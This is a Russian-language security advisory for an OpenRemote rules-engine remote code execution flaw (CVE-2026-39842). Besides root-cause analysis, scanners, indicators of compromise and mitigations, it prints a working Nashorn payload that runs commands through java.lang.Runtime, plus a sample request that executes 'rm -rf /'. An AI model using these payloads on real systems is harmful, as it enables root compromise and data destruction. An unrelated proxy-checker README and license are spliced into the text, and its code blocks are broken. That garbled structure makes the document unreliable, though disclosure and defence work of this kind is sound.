
Критическая уязвимость удалённого выполнения кода в Rules Engine от OpenRemote позволяет аутентифицированным пользователям с ролью `write:rules` выполнять произвольный код на сервере с правами root.
Критическая уязвимость удалённого выполнения кода в Rules Engine OpenRemote позволяет аутентифицированным пользователям с ролью write:rules выполнять произвольный код на сервере с правами root.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOpenRemote — это платформа Интернета вещей с открытым исходным кодом для создания умных зданий, городов и промышленных объектов. Она предоставляет управление устройствами, правила автоматизации, аналитику и интеграции для экосистемы Интернета вещей.
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
---
## Глубокий анализ уязвимости
### Анализ первопричины
Уязвимость проистекает из двух критических недостатков в Rules Engine проекта OpenRemote:
**Недостаток 1: Неизолированный движок JavaScript Nashorn**
Движок JavaScript Nashorn (Java) используется для оценки пользовательских выражений правил без какой-либо изоляции, менеджера безопасности или ограничений ClassFilter. Это позволяет злоумышленникам получать прямой доступ к классам Java из контекста JavaScript.
**Недостаток 2: Отключенная изоляция Groovy**
В движке сценариев Groovy был зарегистрирован GroovyDenyAllFilter для предотвращения выполнения кода, однако эта регистрация фильтра была закомментирована в кодовой базе. На уровне API применялось только ограничение для Groovy (RulesResourceImpl.java:262), тогда как для JavaScript никаких ограничений не существовало.
### Уязвимые пути выполнения кода```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
Уязвимость затрагивает аутентифицированных пользователей с ролью write:rules. Проверка авторизации в RulesResourceImpl.java:262 блокирует Groovy только для пользователей, не являющихся суперпользователями:```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
Это означает:
- Не-суперпользователи МОГУТ создавать JavaScript-правила (без блокировки)
- Не-суперпользователи НЕ МОГУТ создавать Groovy-правила (заблокировано)
- JavaScript не имеет песочницы, поэтому эксплуатация возможна для любого аутентифицированного пользователя с правами write:rules
Кроме того, изоляцию мультитенантности можно обойти через рефлексию на assetStorageService для доступа к данным других тенантов.
### Вектор атаки```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
Шаг 1: Получение учетных данных write:rules
Аутентифицированному пользователю требуется роль write:rules. Это может быть:
Шаг 2: Создание JavaScript-полезной нагрузки
Создайте выражение правила с использованием JavaScript, которое обращается к Java Runtime:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**Шаг 3: Отправка на уязвимую конечную точку**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
Шаг 4: Выполнение правила
Платформа оценивает правило немедленно или в запланированное время срабатывания, выполняя полезную нагрузку с привилегиями root.
Шаг 5: Пост-эксплуатация
Имея RCE с правами root, атакующие могут:
Аутентифицированные атакующие выполняют произвольный код на сервере OpenRemote с привилегиями root. Это воздействие наивысшей степени серьезности, позволяющее полностью скомпрометировать систему.``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)
#### Доступ к файловой системе
Полный доступ на чтение и запись ко всем файлам в системе:
- Раскрытие исходного кода приложения
- Чувствительные конфигурационные файлы (пароли баз данных, ключи API)
- Системные файлы и учетные данные
- Файлы Docker-контейнеров (если используется контейнеризация)
#### Кража переменных окружения
Доступ к переменным окружения, содержащим:
- Строки подключения к базам данных
- Ключи API и токены
- Секреты OAuth
- Приватные ключи шифрования
- Учетные данные AWS/Cloud
#### Утечка данных
В мультитенантных развертываниях злоумышленники могут обойти изоляцию тенантов с помощью рефлексии:
- Доступ к данным всех тенантов одновременно
- Чтение конфиденциальных данных IoT-датчиков
- Изменение правил автоматизации в разных организациях
- Извлечение бизнес-аналитики и конфиденциальной информации
#### Целостность системы
- Установка постоянного бэкдора
- Развертывание вредоносного ПО
- Выполнение программ-вымогателей
- Компрометация цепочки поставок (при использовании в разработке)
#### Нарушение работы сервиса
- Отказ в обслуживании из-за исчерпания ресурсов
- Удаление или повреждение базы данных
- Вмешательство в конфигурацию
- Завершение работы или перезагрузка системы
---
## Затронутые версии
| Версия | Статус | Примечания |
|---------|--------|-------|
| <= 1.15.0 | Уязвима | Исходная уязвимость присутствует |
| 1.16.0 | Уязвима | Исправления не применены |
| 1.17.0 | Уязвима | Исправления не применены |
| 1.18.0 | Уязвима | Исправления не применены |
| 1.19.0 | Уязвима | Исправления не применены |
| 1.20.0 | Уязвима | Исправления не применены |
| 1.21.0 | Уязвима | Последняя затронутая версия |
| 1.22.0+ | ИСПРАВЛЕНО | Движок правил JavaScript полностью удален |
### Сведения о версиях
- **Уязвимый диапазон**: с 1.0.0 по 1.21.0 (все версии с движком правил JS)
- **Исправленная версия**: 1.22.0 (движок правил JavaScript полностью удален)
- **Бэкпорты**: Бэкпорты безопасности для старых версий недоступны; требуется обновление
---
## Обнаружение
### Как это работает
Механизмы обнаружения идентифицируют экземпляры OpenRemote и проверяют статус уязвимости несколькими методами:
1. **Обнаружение по HTTP-баннеру**: Запрос к корневой конечной точке API для идентификации OpenRemote и извлечения информации о версии
2. **Снятие отпечатков конечных точек**: Проверка уязвимых конечных точек на наличие и поведение
3. **Сопоставление версий**: Сравнение обнаруженной версии с известными диапазонами уязвимости
4. **Анализ ответов**: Изучение сообщений об ошибках и структуры ответов на признаки OpenRemote
### Python-сканер
Сканер `detect_openremote.py` выполняет автоматическое обнаружение и оценку уязвимости.
#### Установка```bash
python3 -m pip install requests
python3 detect_openremote.py [OPTIONS]
#### Параметры
| Параметр | Короткий | Длинный | Тип | Описание |
|----------|----------|---------|-----|----------|
| Цель | -t | --target | string | URL одной цели (например, http://10.0.0.1:8080) |
| Список | -l | --list | file | Файл со списком целей (по одной в строке) |
| Вывод | -o | --output | file | Запись результатов в CSV-файл |
| Подробный | -v | --verbose | flag | Включить подробный вывод с детальными ответами |
| Таймаут | | --timeout | int | Таймаут HTTP-запроса в секундах (по умолчанию: 10) |
| Баннер | | --no-banner | flag | Пропустить вывод баннера |
#### Пример: Одна цель```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
Ожидаемый результат:``` [*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+
#### Пример: Несколько целей с выводом```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
Файл targets.txt:```
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
Ожидаемый вывод в `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
Ожидаемый подробный вывод:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
Response Code: 200
Server: Apache
Content-Type: text/html
[*] Checking /api/info
Response Code: 200
Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
Скрипт openremote-detect.nse обеспечивает интеграцию Nmap для сканирования уязвимостей.
cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb
#### Использование```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
nmap -p 8080 --script openremote-detect 192.168.1.0/24
Ожидаемый результат:```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.22.1
| Vulnerable: NO
| Fixed Version: 1.22.0
|_ Status: Patched
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
Ожидаемый подробный вывод:```
| openremote-detect:
| Host: 192.168.1.100:8080
| Detection Method: HTTP Banner Analysis
| Probe Endpoint: /api/info
| Response Code: 200
| Version: 1.21.0
| Version Detected: YES
| Vulnerable: YES
| CVE-2026-39842: AFFECTED
| CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| CVSS Score: 10.0
| Fix Available: YES
| Fixed Version: 1.22.0
| Authentication Required: YES
| Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
Выполните ручные проверки с помощью curl для подтверждения уязвимости:
1. Определите версию OpenRemote```bash curl -s http://target:8080/api/info | jq .
## Features
- **Multi-Protocol Support**: Works with HTTP, HTTPS, SOCKS4, SOCKS5, and SOCKS5H proxies.
- **High Performance**: Asynchronous I/O and connection pooling for maximum throughput.
- **Flexible Input**: Accepts proxy lists from files or stdin.
- **Customizable Output**: Saves results to a file or prints to stdout.
- **Verbose Mode**: Detailed logging for debugging and monitoring.
- **Lightweight**: Minimal dependencies, easy to deploy.
## Installation
```bash
git clone https://github.com/example/proxy-checker.git
cd proxy-checker
pip install -r requirements.txt
python proxy_checker.py -i proxies.txt -o valid.txt -t http
# Check HTTP proxies from file
python proxy_checker.py -i proxies.txt -o valid.txt -t http
# Check SOCKS5 proxies with verbose output
python proxy_checker.py -i socks.txt -o valid_socks.txt -t socks5 -v
# Pipe proxies from another command
cat proxies.txt | python proxy_checker.py -t https
MIT License
Copyright (c) 2024 Proxy Checker Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.```json { "version": "1.21.0", "name": "OpenRemote", "instanceId": "instance-123" }
**2. Проверка конечной точки правил**```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/master/rules/realm | head -20
Если возвращается 401 или 403, конечная точка существует, но требует аутентификации.
3. Аутентификация и тестирование инъекции выражений```bash
curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}'
http://target:8080/api/master/rules/realm
Если создание прошло успешно и версия <= 1.21.0, экземпляр уязвим.
**4. Тест выполнения JavaScript (Proof of Concept)**```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}' \
http://target:8080/api/master/rules/realm
5. Определите имя Realm```bash
curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/admin/realms | jq .[].name
Common realm names: `master`, `default`, `main`
---
## Индикаторы компрометации
### Индикаторы в журналах
Ищите в журналах приложений следующие шаблоны:
**Создание правила с JavaScript-нагрузкой**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
Попытки выполнения команд в правилах``` Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
**Неожиданное выполнение процесса из Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
Аномалии доступа к файловой системе``` Pattern: Unexpected file reads from application directory Files to monitor:
**Шаблоны доступа к базе данных**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
Исходящие соединения из процесса OpenRemote``` netstat -tlnp | grep -i java Look for: Unexpected ESTABLISHED connections Example: java process connecting to external C2 servers
**Обратные вызовы reverse shell**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
Попытки бокового перемещения``` Pattern: Connections to internal resources (databases, APIs) From: OpenRemote process To: Database servers, internal APIs, SSH services
### Индикаторы файловой системы
**Подозрительные файлы в каталоге OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
Модифицированные бинарные файлы OpenRemote``` find /opt/openremote -type f -newer /opt/openremote/VERSION.txt find /opt/openremote -name "*.jar" -exec sha256sum {} ; | compare with known hashes
**Задания Cron или постоянного выполнения**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
Подозрительные переменные окружения``` cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
**Резидентные в памяти полезные нагрузки**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
1. Обновитесь до исправленной версии
Полное исправление доступно только в OpenRemote 1.22.0+, где полностью удалён движок правил на JavaScript.```bash
cp -r /opt/openremote /opt/openremote.backup.1.21.0 mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
wget https://releases.openremote.io/openremote-1.22.0.tar.gz tar -xzf openremote-1.22.0.tar.gz -C /opt/ systemctl restart openremote
curl -s http://localhost:8080/api/info | jq .version
**2. Ограничение доступа к API**
Если немедленное обновление невозможно, ограничьте доступ к уязвимым конечным точкам на уровне межсетевого экрана/обратного прокси-сервера:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
return 403;
}
3. Аудит активных правил
Перечислите все существующие правила и проверьте их на наличие подозрительного JavaScript:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm |
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
Удалите любые правила, содержащие Java interop:```bash
curl -X DELETE \
-H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm/{RULE_ID}
4. Просмотр журналов доступа
Проверьте попытки эксплуатации за последние 30 дней:```bash
grep -r "rules/realm|rules/asset" /opt/openremote/logs/ |
grep -i "java|runtime|exec|type"
**5. Ротация учётных данных**
Ротируйте все учётные данные, которые потенциально могли быть скомпрометированы:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
1. Сегментация сети
Ограничьте доступ к API OpenRemote только авторизованными сетями:```
**2. Аудит ролей**
Просмотрите и минимизируйте количество пользователей с ролью `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/admin/users | \
jq '.[] | select(.roles | contains("write:rules"))'
Удалите роль write:rules у всех необязательных пользователей.
3. Включите журналирование запросов
Настройте подробное журналирование для всех API-запросов:```yaml
logging.level.org.openremote.manager.rules=DEBUG logging.level.org.openremote.manager.rules.RulesResource=TRACE
**4. Аудит базы данных**
Поиск в базе данных вредоносных правил, созданных после определённой даты:```sql
SELECT id, name, ruleset_def, created_on
FROM RULE
WHERE created_on > '2026-04-01'
AND (
ruleset_def LIKE '%Java.type%'
OR ruleset_def LIKE '%Runtime%'
OR ruleset_def LIKE '%exec%'
);
5. Охота за угрозами
Запустите полные проверки безопасности на сервере OpenRemote:```bash
clamscan -r --remove /opt/openremote/
chkrootkit rkhunter --check --skip-warnings
aide --check
### ДОЛГОСРОЧНЫЕ ДЕЙСТВИЯ (7–30 дней)
**1. Полное усиление системы**
- Запускайте OpenRemote в контейнере с ограниченными привилегиями (не от root)
- Внедрите политики SELinux или AppArmor
- Используйте файловые системы только для чтения, где это возможно
- Включите аудит журналирования на уровне системы
**2. Внедрение контроля доступа**
- Внедрите многофакторную аутентификацию для администраторов
- Используйте OAuth2/OIDC для доступа к API вместо токен-аутентификации
- Реализуйте принцип минимальных привилегий для всех ролей
- Регулярные проверки доступа и аттестация
**3. Безопасность приложений**
- Внедрите правила Web Application Firewall (WAF) для механизма правил
- Включите ограничение частоты запросов на чувствительных конечных точках
- Внедрите ограничения размера запросов
- Строго проверяйте все пользовательские входные данные
**4. Мониторинг и оповещение**
Разверните правила обнаружения SIEM:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
5. План реагирования на инциденты
Создайте и протестируйте процедуры реагирования на инциденты:
6. Постоянный мониторинг
Внедрите непрерывный мониторинг безопасности:```bash
nmap -p 8080 --script openremote-detect
$(cat /etc/openremote/monitored_hosts.txt)
--script-args 'onerror=continue'
-oX /var/log/openremote-scan.xml
if version <= 1.21.0; then send_alert "CVE-2026-39842: Unpatched OpenRemote detected" fi
---
## Ссылки
- **Официальное уведомление**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Запись CVE**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Запись NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Репозиторий OpenRemote**: https://github.com/openremote/openremote
- **Безопасность OpenRemote**: https://openremote.io/security
- **CWE-94 Внедрение кода**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 Внедрение EL**: https://cwe.mitre.org/data/definitions/917.html
- **Калькулятор CVSS**: https://www.first.org/cvss/calculator/3.1
- **Безопасность Nashorn**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html
---
## Автор
**Kerem Oruc**
Исследователь безопасности, раскрытие уязвимостей
По вопросам, отчётам или дополнительной информации об этой уязвимости, пожалуйста, свяжитесь с автором через каналы ответственного раскрытия.
---
**Последнее обновление**: 2026-04-16
**Версия**: 1.0
**Статус**: Публичный
| Аспект | Детали |
|---|
| ID CVE | CVE-2026-39842 |
| ID GHSA | GHSA-7mqr-33rv-p3mp |
| Тип уязвимости | Внедрение кода / внедрение выражений |
| Оценка CVSS | 10.0 (Critical) |
| CWE | CWE-94, CWE-917 |
| Продукт | OpenRemote |
| Затронутые версии | <= 1.21.0 |
| Исправленная версия | >= 1.22.0 |
| Требуется аутентификация | Да |
| Необходимый уровень привилегий | Роль write:rules (не суперпользователь) |
| Уязвимые конечные точки | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| Уровень выполнения RCE | root |
| Эксплуатируемость | Высокая |
| Сложность | Низкая |
| Дата обнаружения | 2026 |
| Option | Description |
|---|
-i, --input | Input file containing proxies (one per line) |
-o, --output | Output file for valid proxies |
-t, --type | Proxy type: http, https, socks4, socks5, socks5h |
-v, --verbose | Enable verbose output |
-h, --help | Show help message |